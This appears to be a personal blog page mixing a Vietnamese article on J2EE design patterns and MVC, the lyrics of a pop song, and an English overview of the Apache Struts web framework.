Bạn định bắt đầu từ những bản đặc tả (specification) của các công nghệ ư? Muộn rồi, chúng ta không nên cố xây dựng lại cái bánh xe trong khi một loạt các công ty và nhóm phần mềm đã tiêu tốn nhiều thời gian công sức để tìm ra những phương án tối ưu cho từng vấn đề họ đã gặp phải trong quá trình phát triển các dự án. Bắt đầu từ đầu những nǎm 90 thuật ngữ design patterns chính thức ra đời nhằm chỉ các giải pháp giải quyết các vấn đề thường gặp trong quá trình xây dựng phần mềm. Design pattern không phải là những khái niệm lý thuyết mà được đúc rút ra từ những kinh nghiệm thực tế của các chuyên gia phần mềm trên thế giới.

Các mẫu thiết kế cho J2EE mà một phần được trình bày trong quyển ?J2EE Design Pattern? được kiểm nghiệm thực tế rất thành công trong việc giải quyết các vấn đề nảy sinh trong quá trình phát triển ứng dụng J2EE. Ví dụ với tầng Web của ứng dụng J2EE kinh điển, nếu chúng ta bắt tay từ đặc tả kỹ thuật (specification) của JSP và Servlet chúng cho phép xây dựng được những trang web động riêng biệt rất tốt nhưng lại hỗ trợ rất ít trong việc quản lý luồng dữ liệu giữa các trang với nhau, đặc biệt chúng không tách rời 2 tầng hiển thị (presentation) và tầng xử lý (bussiness).

Mô hình MVC (Model- View-Control)

MVC là một mô hình thiết kế mang tính tổng thể để giải quyết vấn đề trên, nó được tạo ra bởi Krasner và Pope nǎm 1988 cho Smalltalk, hiện tại được IBM và Apache ứng dụng trong các dự án của họ rất thành công. Đây là một giải pháp cho phép xây dựng nên các ứng dụng phân tầng một cách rất hiệu quả bằng cách tạo ra những phương thức quản lý từng tầng một cách riêng rẽ như mô hình ở hình 2. Trong J2EE, thì MVC cũng được xây dựng dựa trên những tính nǎng mạnh của công nghệ JSP và Servlet

Khung ứng dụng (application framework)

Không phủ nhận được điểm mạnh của các mẫu thiết kế, vấn đề là ở chỗ chúng chỉ giải quyết những vấn đề riêng rẽ, làm sao để sử dụng và kết hợp chúng lại trong các dự án J2EE. Câu hỏi này đã nảy sinh và hiện nay một thuật ngữ mới chỉ một mẫu thiết kế tổng quát hơn cho từng ứng dụng lĩnh vực cụ thể, đó là framework. Các dự án thực tế để tạo ra các framework này cũng đang được hoàn thiện. Như vậy quá trình phát triển về mặt thiết kế dự án sử dụng công nghệ J2EE có thể được mô tả.

Chọn lựa một framework tốt giúp bạn giảm thiểu được thời gian và nâng cao chất lượng của sản phẩm. Nó giúp người lập trình chỉ cần chú tâm vào việc xây dựng mức trên thuộc tầng xử lý của ứng dụng thay vì phải làm việc ở mức thấp với từng dòng lệnh một cách nhàm chán với những sai xót cá nhân của người lập trình.

Nguyễn Tuấn Khang - Quan Tri Mang

30 thg 9, 2007

Let The Music Heal Your Soul - Bravo All Stars

DangLVH

Download Here

Oh if someone writes a song with a
simple Rhyme (Touch)
Just a song where is feeling show (`N Sync)
And if someone feels the same about the
simple song (Moffats)
oh sometimes you can hear them sing (Gil)
music gives you Happiness and Sadness (Sqeezer)
But it also, also heals your soul (Nick-BsB)

Chorus
Let the music heal your soul
let the music take control
let the music give you the power to
move any mountain

If someone plays piano with some simple
chords (Touch¨¦)
So melodic and endearing, too (Aaron)
Oh if someone plays guitar with the old
piano (Brian-BsB)
And maybe you can hear them sing (The Boyz)
Music gives you Happiness and Sadness (Nick-BsB)
But it also (`N Sync)
it also heals your soul (Blumchen)

Chorus

(Brian-BsB)
Let the music heal your soul
let the music take control
let the music heal your soul

Chorus 4x

Struts

DangLVH

Struts is a open source framework which make building of the web applications easier based on the java Servlet and JavaServer pages technologies.

Struts framework was created by Craig R. McClanahan and donated to the Apache Software Foundation in 2000. The Project now has several committers, and many developers are contributing to overall to the framework.

Developing web application using struts frame work is fairly complex, but it eases things after it is setup. It encourages software development following the MVC design pattern. Many web applications are JSP-only or Servlets-only. With JSP and Servlets, Java code is embedded in the HTML code and the Java code calls println methods to generate the HTML code respectively. Both approaches have their advantages and drawbacks; Struts gathers their strengths to get the best of their association.

Struts is based on Model-View-Controller (MVC) design paradigm, it is an implementation of JSP Model 2 Architecture. For more of Model-View-Controller (MVC) click here.

Consists of 8 Top-Level Packagesand approx 250 Classes and Interfaces.

Struts is a set of cooperating classes, servlets, and JSP tags that make up a reusable MVC 2 design. This definition
implies that Struts is a framework, rather than a library, but Struts also contains an extensive tag library and utility classes that work independently of the framework.

The overview of struts

Client browser
An HTTP request from the client browser creates an event. The Web container will respond with an HTTP response.

Controller
The controller is responsible for intercepting and translating user input into actions to
be performed by the model. The controller is responsible for selecting the next view based on user input and the outcome of model operations.The Controller receives the request from the browser, and makes the decision where to send the request. With Struts, the Controller is a command design pattern implemented as a servlet. The struts-config.xml file configures the Controller.



Business logic
The business logic updates the state of the model and helps control the flow of the application. With Struts this is done with an Action class as a thin wrapper to the actual business logic.

Model
A model represents an application’s data and contains the logic for accessing and manipulating that data. Any data that is part of the persistent state of the application should reside in the model objects. The business objects update the application state. ActionForm bean represents the Model state at a session or request level, and not at a persistent level. Model services are accessed by the controller for either querying or effecting a change in the model state. The model notifies the view when a state change occurs in the model.The JSP file reads information from the ActionForm bean using JSP tags.

View
The view is responsible for rendering the state of the model. The presentation semantics are encapsulated within the view, therefore model data can be adapted for several different kinds of clients.The view modifies itself when a change in the model is communicated to the view. A view forwards user input to the controller.The view is simply a JSP file. There is no flow logic, no business logic, and no model information -- just tags. Tags are one of the things that make Struts unique compared to other frameworks like Velocity.

MVC










Struts Internationalization

For more information here:
http://www.allapplabs.com/struts/struts.htm
http://struts.apache.org/

Clip Hài 2

DangLVH

Clip Hài 1

DangLVH

Recent Posts

Posts

Popular Posts